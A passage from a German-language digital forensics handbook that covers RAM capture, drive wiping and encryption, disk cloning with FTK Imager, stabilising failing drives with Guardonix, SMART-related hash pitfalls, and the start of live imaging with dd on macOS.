RAM-Speicher mit AVML sichern (Linux) Unter Linux können wir AVML von Microsoft verwenden. Dieses Tool können wir von https://github.com/microsoft/avml/releases als Binärdatei herunterladen. Eigentlich sollte das Tool auf den meisten Linux-Distributionen lauffähig sein, aber sollte dies einmal nicht der Fall sein, können Sie den Quellcode von GitHub laden und das Programm selber kompilieren. Danach brauchen Sie der Datei nur die entsprechenden Rechte mit chmod zuweisen und sie ausführen: mark@ubuntu:~$ chmod 755 avml mark@ubuntu:~$ sudo ./avml memory.img
Hierzu brauchen wir natürlich root-Rechte. Dem Programm übergeben wir nur den Dateinamen bzw. den Pfad mit dem Dateinamen und wir erhalten einen RAW-Dump des volatilen Speichers.
28
RAM-Speicher von OS X Systemen sichern Für diese Aufgabe gibt es zwei Tools, die in Frage kommen: https://sumuri.com/software/recon-itr/ https://www.cellebrite.com/en/digital-collector/
Diese grafischen Tools sollten selbsterklärend sein. Daher verzichte ich aus Platzgründen darauf sie mit den entsprechenden Screenshots dazustellen...
29
RAM-Speicher von virtuellen Maschinen sichern Virtualisierung wird immer beliebter und daher werden wir als IT-Forensiker früher oder später darauf stoßen. Natürlich könnte man den RAM-Speicher wie bereits gezeigt einfach mit den entsprechenden Tools sichern aber virtuelle Maschinen haben virtuellen RAM und wenn wir diese Maschinen anhalten, dann wird er virtuelle RAM-Speicher auf die Festplatte des Host-Systems geschrieben damit die VM später den RAM-Inhalt wiederherstellen kann. Das liefert uns, je nachdem, welche Technologie zur Virtualisierung eingesetzt wird, einen perfekten RAM-Dump.
30
Tipps für die Beweissicherung Vergessen Sie nicht, die so gewonnenen Daten in der Dokumentation zu vermerken und auch die verwendeten Programme und deren Versionen. Außerdem müssen Sie mit einem geeigneten Tool einen Hash für diese Dateien errechnen und vermerken. Bedenken Sie auch, wenn Sie einen Hash in einer Textdatei speichern, kann dieser genau wie die Datei manipuliert werden. Darum mache ich zusätzlich ein Foto von der geöffneten Textdatei mit meiner Kamera. Ich nutze hierfür eine günstige Spiegelreflexkamera aus drei Gründen: 1. Diese Kamera erlaubt mir Aufnahmen im RAW-Format zu machen und der viel größere Sensor im Vergleich zu Point-and-Shoot Kameras bietet mehr Details. 2. Das RAW-Format bietet bei der Entwicklung viel mehr Spielraum und so kann man aus dunklen Ecken oft noch einiges an Details gewinnen. Außerdem erschwert es Bildmanipulationen. 3. Größere Sensoren rauschen deutlich weniger - das ist vor allem bei Innenaufnahmen hilfreich. Natürlich kann man mit dem entsprechenden Wissen sicherlich auch RAWDaten bearbeiten aber die ganzen RAW-Entwickler arbeiten anders und speichern Veränderungen nur in einem Protokoll, das bei der Umwandlung in JPG auf die Datei angewendet wird. Somit hat man immer ein unverändertes Originalbild für den Fall der Fälle.
31
Klonen von Datenträgern Kopieren wir Dateien von einem auf einen anderen Datenträger, dann erhalten wir lediglich die aktuell am System verfügbaren Daten. Abgesehen davon müssten wir darauf achten, dass das Programm mit dem wir die Daten kopieren auch die Zeitstempel sauber übernimmt und das Betriebssystem nicht auf Dinge wie zB Thumbnail-Datenbanken zugreift und diese zB aktualisiert. Wir haben also relativ viel, dass wir beachten müssen für eine lückenhafte Sicherung der Daten. Beim Klonen kopieren wir Byte für Byte den gesamten Speicher des Datenträgers (egal ob belegter oder freier Speicher) und erhalten damit ein vollständiges Abbild mit allen gelöschten Dateien oder zumindest Dateifragmenten davon. Hierbei können wir die Datenträger auf einen anderen Datenträger klonen oder in eine Datei. Ich bevorzuge Letzteres, da wir so in der Lage sind diese Datei direkt in einem Analysetool zu öffnen. Wir können beim Klonen eines Datenträgers bestimmen ob wir den gesamten Datenträger mit MBR (Master Boot Record), Partitionstabelle, etc. und allen Partitionen klonen wollen oder nur eine spezifische logische Partition. Ich persönlich würde immer die gesamte Platte klonen, außer es gäbe zB rechtliche Gründe, die dagegensprechen. In der Regel werden wir die Datenträger entnehmen und an einem unserer PCs klonen (Dead Imaging) aber sollte dies nicht möglich sein, ist es auch möglich einen Datenträger im laufenden Betrieb zu klonen (Live Imaging).
32
Vorbereiten der Ziel-Datenträger Auch wenn wir unser Image in eine Datei speichern, sollten wir dennoch unsere Datenträger vorbereiten und sicherstellen, dass alle vorher darauf befindlichen Daten sicher gelöscht wurden. Sollte mir die Frage gestellt werden, ob die Datenträger vor dem Einsatz von alten Daten bereinigt wurde, möchte ich nicht lange erklären müssen, warum dies nicht nötig ist in dem Fall und darauf hoffen, dass ein Richter diese Antwort auch richtig versteht, sondern ich erwidere lieber: "Sehen Sie sich bitte Anlage 12 meines Gutachtens an, dort sehen Sie, dass der Datenträger sicher gelöscht und der Löschvorgang erfolgreich verifiziert wurde". Das bringt uns gleich zum nächsten Punkt - es ist immer besser derartige Aussagen auch gleich belegen zu können. Sie können natürlich auch ein kostenloses Tool wie zB Eraser (https://sourceforge.net/projects/eraser/) verwenden und dann einen Screenshot erstellen oder sie nutzen zB den Drive eRazer Ultra von CRU (https://wiebetech.com/products/wiebetech_drive_erazer_ultra/). Dieses Tool gibt einen Löschbericht über die serielle Schnittstelle aus. Um diesem auf modernen Computern zu Empfangen gibt es ein seriell auf USBAdapterkabel und die passende Software von CRU. Abgesehen vom Bericht den Sie erhalten, belegen Sie so keinen Arbeitsplatz für Stunden mit den Löschvorgängen, können auch IDE-Platten löschen und das Gerät ist relativ günstig. Außer für die einzelnen forensischen Berichte sind die Löschberichte auch für Ihre Datenschutzdokumentation von Vorteil.
33
Verschlüsselung der Ziel-Datenträger Um Daten vor unbefugten Zugriff zu schützen, ist es eine gute Idee, die Laufwerke auf denen Beweismittel gesichert werden zu verschlüsseln. Hierzu können wir Bitlocker oder auch VeraCrypt verwenden. VeraCrypt gibt es nicht nur für Windows, sondern auch für Linux und Mac OS X.
Sehen wir uns zuerst Bitlocker an:
Mit einem Rechtsklick auf das Laufwerk im Explorer können wir Bitlocker aktivieren. Danach wird uns folgender Dialog angezeigt:
34
Geben Sie ein Passwort ein oder verwenden Sie eine Smartkarte.
Ich würde vorschlagen, dass Sie den Wiederherstellungsschlüssel in eine Datei speichern oder ausdrucken. In der Regel brauchen Sie diesen nur, wenn Sie das Passwort vergessen.
35
Da wir dies in der Regel am Beginn einer Ermittlung machen und nicht irgendwann mittendrin oder am Ende und einen sicher gelöschten Datenträger nutzen brauchen wir nur den verwendeten Speicherplatz verschlüsseln. Das spart Zeit, denn je nach Größe des Laufwerks kann die Verschlüsselung des ganzen Datenträgers recht lange dauern!
Ich nutze zur Sicherheit immer den Kompatiblen Modus, da ich für spezielle Aufgaben auch ein altes Windows 7 System nutze, dass alte Tools beheimatet die auch Windows 10 nicht mehr laufen. Im Bereich der Datenrettung nutze ich für einige Spezialfälle sogar noch ein altes System mit Windows XP auf dem ältere Tools laufen, die nur bis Windows XP einwandfrei funktionierten. Die Einrichtung von VeraCrypt ist ähnlich einfach. Nachdem Sie VeraCrypt von https://www.veracrypt.fr/en/Downloads.html heruntergeladen und installiert 36
haben, können Sie das Programm starten und auf "Volume erstellen" klicken:
Hier wählen wir dann "Eine Partition / ein Laufwerk verschlüsseln" aus und klicken auf "weiter".
Dann haben wir die Auswahl zwischen einem Standard- und einem versteckten Volumen.
37
Nachdem wir auf "Datenträger" geklickt haben, öffnet sich ein weiteres Fenster in dem wir den Datenträger auswählen können. Wenn wir die Auswahl mit "OK" bestätigt haben, kommen wir mit einem Klick auf "weiter" zu folgendem Fenster:
Da die Platte ohnehin leer sein sollte, können wir "Verschlüsseln und Formatieren" wählen.
38
Dann können wir die Verschlüsselungsmethode auswählen. Wenn nichts anderes verlangt wird, würde ich den Standard mit AES und SHA-512 als HashAlgorithmus so übernehmen.
Falls Sie eine verschlüsselte Containerdatei erstellen, können Sie nun die Dateibzw. Containergröße auswählen.
39
Dann werden wir aufgefordert ein Passwort festzulegen. Wie bei Bitlocker gilt auch hier - die Sicherheit steht und fällt bei der Verwendung eines Passwortes mit der Länge und Komplexität des Passwortes.
Dann werden wir aufgefordert die Maus über dem Fenster zu bewegen und ein zufälliges Muster zu erstellen. Machen Sie dies, bis der Balken gefüllt ist und klicken Sie dann auf "weiter".
40
Das Formatieren dauert dann etwas und wenn dies abgeschlossen ist, können Sie den Dialog mit einem Klick auf "beenden" schließen. Was mir an VeraCrypt gar nicht gefällt ist der Umstand, dass uns Windows beim Einhängen eines Laufwerks auffordert den Datenträger zu formatieren. Ich arbeite alleine und biete neben IT-Forensik auch Datenrettung an. Daher wäre ich bei einer kleinen Unachtsamkeit immer in Gefahr einen Datenträger mit Beweisen mit einem frisch gelöschten Datenträger zu verwechseln und diesen zu formatieren. Theoretisch sollte man die Bereiche so trennen, dass so etwas verhindert wird aber praktisch rufen Kunden an, der Paketdienst bringt neue Datenträger zur Datenrettung und eilige Datenrettungen müssen zwischenzeitlich exportiert werden da in einigen Stunden der Paketdienst das Paket abholt und niemand nutzt dann 3 verschiedene Büros für sich alleine! So kann ich versehentlich einen Beweis-Datenträger anstatt eines leeren greifen und darum nutze ich Bitlocker, denn sollte ich eine falsche Platte nehmen um zB darauf eine Datenrettung zu exportieren, wird mich die Aufforderung zur Entschlüsselung von Bitlocker warnen, dass dies keine leere Platte ist. Und genau darum nutze ich VeraCrypt nicht.
41
Klonen der Datenträger Dieser Vorgang ist relativ langwierig vor allem wenn wir bedenken, dass wir heute selbst in einem normalen Haushalt einige Datenträger finden. Ein Laptop, ein Tablet, ein Telefon, 1, 2 oder 3 externe Festplatten und ein paar USB-Sticks und Speicherkarten und schon haben wir 4 - 10 TB zusammen. Bei Personen die wegen Cyberverbrechen verdächtigt werden kann man davon ausgehen, dass diese technikaffinen Menschen ein Vielfaches davon an Technik zu Hause haben. Kurz überschlagen würden bei einer Sicherstellung in meiner Wohnung mindestens 21 TB an Datenträgern zusammenkommen die zuerst mal vor einer Untersuchung zu klonen wären. Zum Klonen können wir Spezialisierte Hardware wie zB Ditto von CRU, Tableau TX1 oder die Produkte von Atola verwenden - allerdings sind diese mit fast 1.500 EUR bis zu 7.000 EUR nicht gerade günstig. Als Alternative können wir FTK Imager oder OSF Clone von Passmark nehmen. Beide Tools sind softwarebasiert und kostenlos. OSF Clone ist eine CLI-basiertes Live-System mit dem Sie einen Rechner booten können und so kann man einfach ein paar alte Laptops als Imaging-Systeme nutzen. Aber sehen wir uns zuerst FTK Imager an:
Wählen Sie File -> Create Disk Image und Sie sehen folgenden Dialog: 42
In diesem Beispiel will ich eine per USB angeschlossene SD-Karte klonen, also wähle ich an dieser Stelle Physical Drive um ein Image der ganzen Karte zu erstellen.
Im nächsten Schritt suche ich das passende Laufwerk aus und klicke dann auf
Finish.
Danach erscheint folgender Dialog:
43
Klicken Sie auf den Add-Button.
Hier empfehle ich Ihnen AFF. Das Advanced Forensics Format ist schnell, beinhaltet diverse Metadaten zum Fall und bietet einige Vorteile wie performante Kompression, schnelleres Imaging und einiges mehr. Im unkomprimierten RAW-Format brauchen 500GB gut 4 Stunden im geklont zu werden und hierbei muss der Datenträger einwandfrei laufen. Lösungen für problematische Datenträger besprechen wir im Anschluss... Kommen wir zurück zu unserem Beispiel von Vorhin dann sind eventuell 20, 30, 40 oder gar 70% des Speicherplatzes einer Platte leer und wurden auch niemals Benutzt. Selbst bei mir werden sicherlich mindestens 8 - 9 TB unbenutzt sein und zumindest diesem Speicherplatz kann man sich sparen vor allem in Hinblick darauf, 44
dass wir die Daten nach dem Klonen nochmals sichern müssen spart man sich so eine Menge an Speicherplatz.
Füllen Sie das Formular sorgfältig aus. Jeder Datenträger sollte beschriftet sein und eine Fall- und Beweisnummer haben. Beschreiben Sie was für ein Datenträger es ist und wer das Image erstellt hat. Ich würde Ihnen auch raten unter den Notizen die Seriennummer einzutragen.
Legen Sie nun den Pfad für die Datei und den Dateinamen fest und klicken Sie auf Finnish um zum vorherigen Dialog zurückzukommen. Sie könnten an dieser Stelle auch die Verschlüsselung von AFF verwenden - ich bevorzuge es aber meine Festplatten zu verschlüsseln vor allem wenn mehrere Images auf einer Platte gespeichert werden.
45
Wenn Sie nun auf Start klicken, wird der Klonvorgang gestartet.
Dies kann wie gesagt einige Zeit dauern daher nutze ich mehrere Rechner die dann mehrere Images zugleich erstellen. Wenn der Vorgang abgeschlossen ist, erscheint der Verifikations-Dialog in dem der Hash des Images mit dem Hash des Originaldatenträgers verglichen wird. Das ist unsere Bestätigung, dass die Daten nicht verändert wurden!
46
Außerdem wird noch eine Text-Datei mit folgendem Inhalt erstellt: Created By AccessData® FTK® Imager 4.2.0.13 Case Information: Acquired using: ADI4.2.0.13 Case Number: 2021-0001 Evidence Number: E2021-0001/A Unique description: 1GB SD card (Sandisk) Examiner: MB Notes: S/N: AR0602304058C -------------------------------------------------------------Information for F:\E2021_0001_A_Sandisk_1GB_SD: Physical Evidentiary Item (Source) Information: [Device Info] Source Type: Physical [Drive Geometry] Cylinders: 124 Tracks per Cylinder: 255 Sectors per Track: 63 Bytes per Sector: 512 Sector Count: 1.995.264 [Physical Drive Information] 47
Drive Model: Generic STORAGE DEVICE USB Device Drive Serial Number: 000000001532 Drive Interface Type: USB Removable drive: True Source data size: 974 MB Sector count: 1995264 [Computed Hashes] MD5 checksum: 4e1af9220fecb590c3e448c2140b9640 SHA1 checksum: 01e6ec1ece08bf09b914b95608dea0a8b6ae01d2 Image Information: Acquisition started: Sun May 16 22:18:37 2021 Acquisition finished: Sun May 16 22:20:36 2021 Segment list: F:\E2021_0001_A_Sandisk_1GB_SD.aff Image Verification Results: Verification started: Sun May 16 22:20:37 2021 Verification finished: Sun May 16 22:20:46 2021 MD5 checksum: 4e1af9220fecb590c3e448c2140b9640 : verified SHA1 checksum: 01e6ec1ece08bf09b914b95608dea0a8b6ae01d2 : verified
Hier wird nochmal alles wichtige für den Bericht wiederholt von den Daten des Programms über unsere Angaben bis hin zu den Hash-Werten und der Verifikation. Bei USB-Kartenlesern ist es aber nicht möglich die Seriennummer der SD-Karte auszulesen und darum sind die Daten in den Fall vom Kartenleser und nicht der SD-Karte. Achten Sie auf solche Details und weisen Sie vorsorglich darauf hin bevor Sie 1,5 Jahre später unvorbereitet danach gefragt werden und dann in dieser stressigen Situation nicht den besten Eindruck hinterlassen. Als Sachverständiger sage ich Ihnen, dass Anwälte sich gern an solchen vermeintlichen Diskrepanzen festbeißen um Zweifel an Ihrer Arbeit, den verwendeten Tools und an Ihnen selbst zu schüren. Das ist auch nicht persönlich gemeint. Anwälte haben die Aufgabe ihren Mandanten bestmöglich zu vertreten und nicht fair oder unparteiisch zu sein! Wenn Sie vorab derartige Informationen als Hinweise ergänzen, können Sie einfach danach fragen auf welcher Seite diese "Diskrepanz" sein sollte und um eine Minute ersuchen um sich das kurz anzusehen.
48
Je besser Sie so etwas vorbereiten umso souveräner können Sie auftreten und umso besser "verkaufen" Sie sich und Ihre Arbeit.
49
Wenn der Klonprozess abbricht Es kann immer zu Problemen kommen, sei es ein Ausfall oder Aussetzer der Adapter, Writeblocker, des Betriebssystems oder des Datenträgers. In solchen Situationen gilt es Ruhe zu bewahren und methodisch zu arbeiten. Versuchen Sie zuerst ein anderes Kabel, einen anderen Writeblocker, einen anderen Adapter, einen anderen USB- oder SATA-Port und wenn alles nichts hilft können Sie auch den PC neu starten. Wenn Sie nun eine mögliche Ursache nach der Anderen ausgeschlossen haben und nur noch die Festplatte übrig bleibt kann ich ihnen Guardonix empfehlen. Informationen dazu finden Sie unter: https://guardonix.com/ Dieser Writeblocker ist mit ca. 500 USD gleich teuer wie andere Writeblocker, aber deutlich flexibler! DeepSpar ist als Hersteller von Spezialhardware zur Datenrettung bekannt und Guardonix ermöglicht es in der Pro-Variante das Verhalten im Fall von Lesefehlern zu steuern. Das Tool erlaubt es das Mounten von Festplatten in Windows zu deaktivieren denn manche instabilen Platten können Windows abstürzen lassen oder sorgen dafür, dass das System einfriert. Durch das Deaktivieren des Automounting verhindern wir das. Außerdem haben Sie die Option eine unstabile Platte zu zwingen mit USB 2.0 zu arbeiten. Das kann in manchen Fällen helfen, wenn die Platte alle Vorgänge langsamer ausführen kann. Guardonix kann inaktive USB-Platten und adaptierte 2,5" Platten (sofern diese über den USB-Port mit Strom versorgt werden) ausschalten, wenn Sie im Leerlauf sind. Eine angeschlagene Platte sollte keinesfalls unnötig weiterlaufen da Hintergrundprozesse der Firmware dann auf dem Datenträger arbeiten.
Vor allem wenn eine Platte angeschlagen ist, sollte man diese niemals unbeaufsichtigt laufen lassen. Ein Ausfall des Schreib-/Lesekopfes kann binnen kürzester Zeit zu einer mechanischen Beschädigung der Magnetscheiben führen und wenn die Platte in diesem Zustand dann weiterläuft werden die Daten unwiederbringlich vernichtet. Wir können auch den PCB von der Festplatte entfernen und diesen allein an Guradonix anschließen um zu testen ob das Problem am PCB liegt oder an der Platte selber. Funktioniert der PCB, sollten wir in der Guardonix-Software einige 50
Informationen über die Festplatte sehen, die aus dem ROM-Chip ausgelesen wurden. Manche instabilen Platten brauchen lange um zu starten - ich habe Platten erlebt bei denen einige Minuten dauerte. Guradonix informiert ums mit Statusmeldungen darüber, dass die Platte erkannt wurde aber die Initialisierung noch nicht fertig ist. Für die Dokumentation und manche Untersuchung ist es ebenfalls praktisch, dass Guardonix in der Lage ist ein Protokoll mit allen nicht lesbaren Sektoren und mit den Sektoren auf die versucht wurde zu schreiben aufzuzeichnen. Damit können wir die Sektoren benennen von denen wir keine Daten erhalten haben oder prüfen auf welche Dateien ein bestimmtes Programm zugreift. Das wichtigste Feature ist in meinen Augen die Möglichkeit das Read-Timeout zu steuern. Damit können wir Leseversuche abbrechen, wenn diese zu lange dauern. Festplatten haben in der Firmware mehrere erneute Leseversuche hinterlegt und sollten diese alle Fehlschlagen, laufen diverse Hintergrundprozesse zur Dokumentation des Fehlers (zB Aktualisierung der S.M.A.R.T. Daten) und zur Fehlerbehebung (zB ausmappen des Sektors und eintragen in der G-List) ab. Wenn wir das Timeout entsprechend kurz setzen können wir den Großteil dieser Vorgänge abbrechen und mit dem nächsten Sektor weiter machen. Das spart nicht nur sehr viel Zeit, sondern schont die Platte. Unterstützt die Software mit der wir arbeiten das Imaging in mehreren Durchgängen können wir zuerst mit einem kurzen Timeout die Daten lesen die einfach zu lesen sind und dann in einem zweiten Durchgang die Lücken füllen und versuchen so die Ausbeute zu maximieren. Ein weiteres nützliches Feature ist, dass dieses Tool HPA (Host Protected Areas - also für den normalen User unzugängliche Bereiche auf der HDD) im RAM der Platte entfernen kann. So wird der Bereich wieder zugänglich ohne die Beweise zu vernichten. Wenn Guardonix nicht mehr hilft, dann sollte ein ausgebildeter Datenretter den Fall übernehmen. Sie könnten mit PC-3000, MRT oder DFL-SRP entsprechende Geräte anschaffen aber diese sind nicht nur viel teurer, sondern benötigen auch entsprechende Trainings. Außerdem bräuchten Sie dann noch Reinraum-Tools und einiges weitere.
51
Für einen IT-Forensiker, der Datenrettung nicht professionell anbietet, werden teurere und aufwendigere Tools kaum Sinn machen denn defekte Datenträger stellen eher die Ausnahme als die Regel dar und wenn es um professionelle Datenrettung geht, gibt es viele hochspezialisierte Tools für die verschiedensten Datenträger wie PC-3000 Flash oder Rusolut VNR für Speicherkarten und USBSticks, MRT Express oder Ultra und PC-3000 für HDDs und SSDs oder PC-3000 Mobile für Mobiltelefone. Zusammen mit entsprechenden Reinraum-Werkzeugen und einer Reinraumbox landen wir dann schnell bei einem Gesamtpreis in der Höhe eines Mittelklasse-PKW für ein voll ausgestattetes Datenrettungslabor. Kleinere Probleme bekommt man mit Guardonix aber sehr gut in den Griff. Sollten Sie sich für professionelle Datenrettung interessieren, kann ich Ihnen mein Buch "Basiswissen professionelle Datenrettung" (ISBN 978-3755759324) als Einführung in dieses Thema empfehlen.
52
Praxisbeispiel USB Stabilizer / Guardonix Um dieses Produkt zu testen habe ich eine instabile Festplatte aus unserem Datenrettungslabor versucht. Die forensische Version erlaubt es hierbei verschiedenste Einstellungen vorzunehmen: 1. Das bestimmen welche Events im Log vermerkt werden (Log Events). 2. Die professionellen Einstellungen, die wir uns im Folgenden genauer ansehen werden. Mit File System Mounting können wir bestimmen ob Windows den Datenträger mounten (einhängen) darf. Report Drive as Read-Only und Turn Off Drive if Inactive
sollten selbsterklärend sein, wobei ich darauf hinweisen will, dass die meisten modernen Festplatten nach 20 Sekunden Inaktivität anfangen Ihre Hintergrundprozesse laufen zu lassen. Diese können dann markierte Sektoren ausmappen, etc.
Beim Storage Device Type haben wir die Wahl zwischen HDDs und SSDs bzw. Flash-Speichern. Dies ist wichtig für die Strategie der Reset-Kommandos, die das Tool ausführt, wenn der Datenträger hängt. Mit dem Read Timeout stellen wir ein, wie lange auf Daten gewartet wird. Damit können wir auch indirekt den Stress-Level steuern und sinnvollerweise sollte man zuerst mit einer kurzen Timeout-Zeit die Daten klonen, die einfach zu lesen sind und erst in einem zweiten Durchgang die problematischen Bereiche klonen. Das setzt aber auch voraus, dass das verwendete Tool das Klonen in mehreren Durchgängen erlaubt. 53
Da ich kein forensisches Tool kenne das dies tut, würde ich hier UFS Explorer Pro oder DMDE empfehlen! Bad Block Read Retries und Response to Write Attempts sind wieder selbsterklä-
rend.
Beim Punkt Speed Optimization haben wie die Möglichkeit den Vorgang zu beschleunigen indem die Timings von Datenträger und dem USB-Port aufeinander abgestimmt werden. Nachdem ich den Klonvorgang gestartet hatte, sieht man im Sector Map Tab gut wie die Geschwindigkeit der HDD schwankt. Dies ist vor allem dem verschlissenen Kopf und einer großen Anzahl an defekten Sektoren zu verdanken.
54
Im Log Tab können wir sehen welche Sektoren nicht mit den aktuell getroffenen Einstellungen gelesen werden konnten.
Dies wird auch in Sector Map Tab grafisch dargestellt.
55
Mit
einem Klick
auf
den
Commands-Button im Settings
Tab erhalten wir folgende Optionen: Hier ist für uns vor allem das Erfassen der SMART Werte SMART Attributes) (Log wichtig. Der Punkt Reset DCO Hidden Area dient dazu um mittels Device configuration overlay abgetrennte Speicherberieche wieder in den für den User verfügbaren Speicherbereich einzugliedern. Hierbei wird allerdings der Datenträger verändert! Eine HPA (Host Protected Area) kann Guardonix direkt im RAM aufheben. Ist der Datenträger mit einem ATA Password geschützt, können wir durch Eingabe des Passwords den Datenträger entsperren (ATA Password Unlock). Zum Knacken derartiger Passwörter braucht es aber andere Tools. Sobald wir die SMART Daten geloggt haben, wird im Projektordner eine Datei namens SmartAttributes_1.bin angelegt. Diese enthält die Rohdaten und in der Logdatei, die im gleichen Ordner liegt, finden wir folgende Zeilen: [10:28:11] Project Folder: D:\DeepSpar USB Stabilizer\Projects\WDC_WD50_00LPCX75VHAT0_0000AB1234A3_WDC_WD5000LPCX-75VHAT0_WX41A754LTCF\27 May 2022 10-28-09\ [10:28:22] ------------- SMART Attributes ------------Attribute 1 (Read Error Rate): value=200, worst value=200, raw value=0 Attribute 3 (Spin-Up Time): value=152, worst value=143, raw value=1366 Attribute 4 (Start/Stop Count): value=100, worst value=100, raw value=620 Attribute 5 (Reallocated Sectors Count!): value=200, worst value=200, raw value=0 Attribute 7 (Seek Error Rate): value=200, worst value=200, raw value=0 Attribute 9 (Power-On Hours): value=99, worst value=99, raw value=1350
56
Attribute 10 (Spin Retry Count): value=100, worst value=100, raw value=0 Attribute 11 (Calibration Retry Count): value=100, worst value=100, raw value=0 Attribute 12 (Power Cycle Count): value=100, worst value=100, raw value=605 Attribute 191 (G-sense Error Rate): value=1, worst value=1, raw value=200 Attribute 192 (Power-off Retract Count): value=200, worst value=200, raw value=21 Attribute 193 (Load Cycle Count): value=194, worst value=194, raw value=19285 Attribute 194 (Temperature): value=119, worst value=92, raw value=24 Attribute 196 (Reallocation Event Count): value=200, worst value=200, raw value=0 Attribute 197 (Current Pending Sector Count!): value=200, worst value=200, raw value=0 Attribute 198 (Uncorrectable Sector Count!): value=100, worst value=253, raw value=0 Attribute 199 (UDMA CRC Error Count): value=200, worst value=200, raw value=0 Attribute 200 (Multi-Zone Error Rate): value=100, worst value=253, raw value=0 Attribute 240 (Head Flying Hours): value=99, worst value=99, raw value=1312 Attribute 241 (Total LBAs Written): value=200, worst value=200, raw value=10709951955 Attribute 242 (Total LBAs Read): value=200, worst value=200, raw value=12173224766 Attribute 254 (Free Fall Protection): value=200, worst value=200, raw value=0 NOTE: SMART Attributes saved to 'SmartAttributes_1.bin' project file. -------------------------------------------------------------
Hierzu habe ich nicht die zuvor gezeigte Seagate ST3500820AS verwendet, da ich bei dieser SMART und andere nicht essentiell nötige Prozesse in der Firmware deaktiviert hatte um den Klonvorgang stabiler zu gestalten. Ich muss an dieser Stelle ausdrücklich sagen, dass ich von dem Paket das man bekommt und vor allem den günstigen Preis sehr beeindruckt bin. Das Gerät kommt sehr gut auch mit sehr instabilen Datenträgern klar und hat bei meinem Test auch hervorragend mit einem behelfsmäßig reparierten USB-Stick gearbeitet, der unter Windows direkt mehrfach hängen blieb. Dies erreicht Guardonix dadurch, dass Windows und der verwendeten Software vorgegaukelt wird Guardonix sei der eigentliche Datenträger. Intern hält Guardonix aber zwei Verbindungen aufrecht – eine zu Windows und eine zum eigentlichen Datenträger. So bekommt der PC gar nicht mit, wenn ein Datenträger hängt und neu gestartet wird. Der USB Stabilizer ist das gleiche Produkt mit leicht veränderter Firmware. Diese erlaubt es mit anderen Tools wie MRT oder PC3000 zusammenzuarbeiten und mit Herstellerspezifischen Befehlen an den Datenträgern und der Firmware zu arbeiten.
57
Stolpersteine beim Klonen eines Datenträgers Der Inhalt einer Festplatte kann sich während der Hashberechnung verändern. Wenn wir eine Festplatte klonen, lesen wir jeden Sektor einmal. Normalerweise werden Tools die Hashberechnung gleichzeitig mit dem Klonprozess vornehmen um die Daten nicht doppelt lesen zu müssen. Festplatten haben Mechanismen um defekte Sektoren zu erkennen. Ein Sektor ist nicht nur 512 Byte bzw. 4096 Byte lang, sondern etwas länger. Die übrigen Daten werden von der Elektronik der Festplatte herausgefiltert. Diese Servo-Informationen und ein paar ECC-Daten sind dazu da die Position des Magnetkopfes auf dem Magnetscheiben zu ermitteln und Lesefehler bis zu einem gewissen Grad zu korrigieren. Wenn die Festplatte ein Problem hat einen Sektor zu lesen wird dieser zur Überprüfung vorgemerkt und die S.M.A.R.T. Werte werden entsprechend erhöht. Fällt diese Überprüfung erfolgreich aus dann können die S.M.A.R.T. Werte wieder verringert werden. Andernfalls wird der Sektor ausgemappt und ersetzt. Festplatten haben dazu zwei Listen in der Firmware:
In der P-List (Productiontime list) sind die werksseitig defekten Sektoren vermerkt. Dann werden werksseitig die physischen Sekttoradressen ( PBA) auf logische Sektor-Adressen (LBA) gemappt, wobei defekte Sektoren einfach übersprungen werden. Festplatten haben etwas mehr Speicher als dem User zur Verfügung steht und ein Teil dieses Speichers wird dazu genutzt defekte Sektoren zu ersetzen. Fällt im laufenden Betrieb ein Sektor aus wird der zur Überprüfung markiert und wenn er diese nicht besteht, dann wir der Sektor ausgemappt und in der G-List (Growing defects list) vermerkt. 58
Wenn wir nun den Hash der beim Klonprozess errechnet wurde mit einer erneuten Hashberechnung vor der Analyse vergleichen, sagt das nur aus, dass das Image nicht verändert wurde. Es sagt aber nicht aus, dass das Image dem entspricht was vor Beginn des Klonvorganges auf der Festplatte war oder dem entspricht was nun auf der Festplatte ist - je nachdem ob wir das Ergebnis nach dem ausmappen eines Sektors klonen oder das ausmappen durch den Klonvorgang initialisieren. Dazu muss die Platte nachher ein wenig Zeit im Leerlauf sein denn diese Überprüfungen und das Ausmappen passieren im Leerlauf als Hintergrundprozess. Um derartige Veränderungen beim Klonen auszuschließen oder zumindest zu wissen, dass es diese gab, müsste man vor den Klonvorgang die S.M.A.R.T. Daten erfassen und mit den S.M.A.R.T. Daten nach dem Klonvorgang vergleichen. Hat sich zB die Anzahl der wiederzugewiesenen Sektoren verändert, wurden auch die Daten durch das Klonen verändert! Damit können wir nicht ausschließen das kurz vor dem Klonvorgang ein Sektor ausgemappt wurde, außer es gibt keine ausgemappten Sektoren, aber wir können behaupten mit allen zur Verfügung stehenden technischen Mitteln auf eine Veränderung geprüft zu haben. Außerdem können wir so auch erklären warum die Checksumme bei einem weiteren Forensiker nicht mehr stimmen kann. Anwälte lieben diese Ungereimtheiten und stürzen sich auf derartige Dinge denn viele verstehen 90% der Ausführungen eines IT-Forensikers ohnehin nicht und nutzen derartige Gelegenheiten die Aussagen in Zweifel zu ziehen. X-Ways und Atola erfassen dies, meinem Wissenstand nach, als einzige Tools au-
tomatisch. Da dies interne Funktionen der Festplatten-Firmware sind, verhindert dies auch kein Writeblocker!
59
Live Imaging Auf einem Windows-PC können Sie FTK Imager verwenden um eine Platte im laufenden Betrieb zu klonen. Unter Linux- und Mac OS X können wir den Befehl dd verwenden. Sehen wir uns zuerst den Mac an - hierzu nutzen wir das Terminal: Marks-Mac-Pro:~ mark$ sudo diskutil list /dev/disk0 #: 0: 1: 2: 3: /dev/disk1 #: 0: 1: 2: /dev/disk2 #: 0:
(internal, physical): TYPE GUID_partition_scheme EFI Apple_HFS Apple_Boot (internal, physical): TYPE GUID_partition_scheme EFI Apple_HFS (external, physical): TYPE
NAME
GB MB GB MB
IDENTIFIER disk0 disk0s1 disk0s2 disk0s3
EFI UserDaten
SIZE *1.0 TB 209.7 MB 999.9 GB
IDENTIFIER disk1 disk1s1 disk1s2
NAME OSFCLONE
SIZE *1.0 GB
IDENTIFIER disk2
EFI ElCapitan Recovery HD NAME
SIZE *120.0 209.7 119.2 650.0
Durch den oben gezeigten Befehl können Sie sich die ganzen Datenträger des Systems anzeigen lassen. Marks-Mac-Pro:~ mark$ sudo dd if=/dev/disk2 of=~/disk2.img dd: /dev/disk2: Resource busy
